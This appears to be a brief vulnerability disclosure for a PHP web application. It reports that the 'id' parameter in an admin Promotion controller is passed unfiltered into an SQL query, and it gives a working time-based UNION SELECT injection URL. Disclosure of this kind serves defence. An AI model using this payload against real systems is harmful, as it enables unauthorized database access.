in `/application/admin/controller/Promotion.php` line 353, parameter id is injected into sql query without any filter.
payload
```
/index.php?m=Admin&c=Promotion&a=prom_order_del&id=1)%20union%20select%201,sleep(3),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48%23
```
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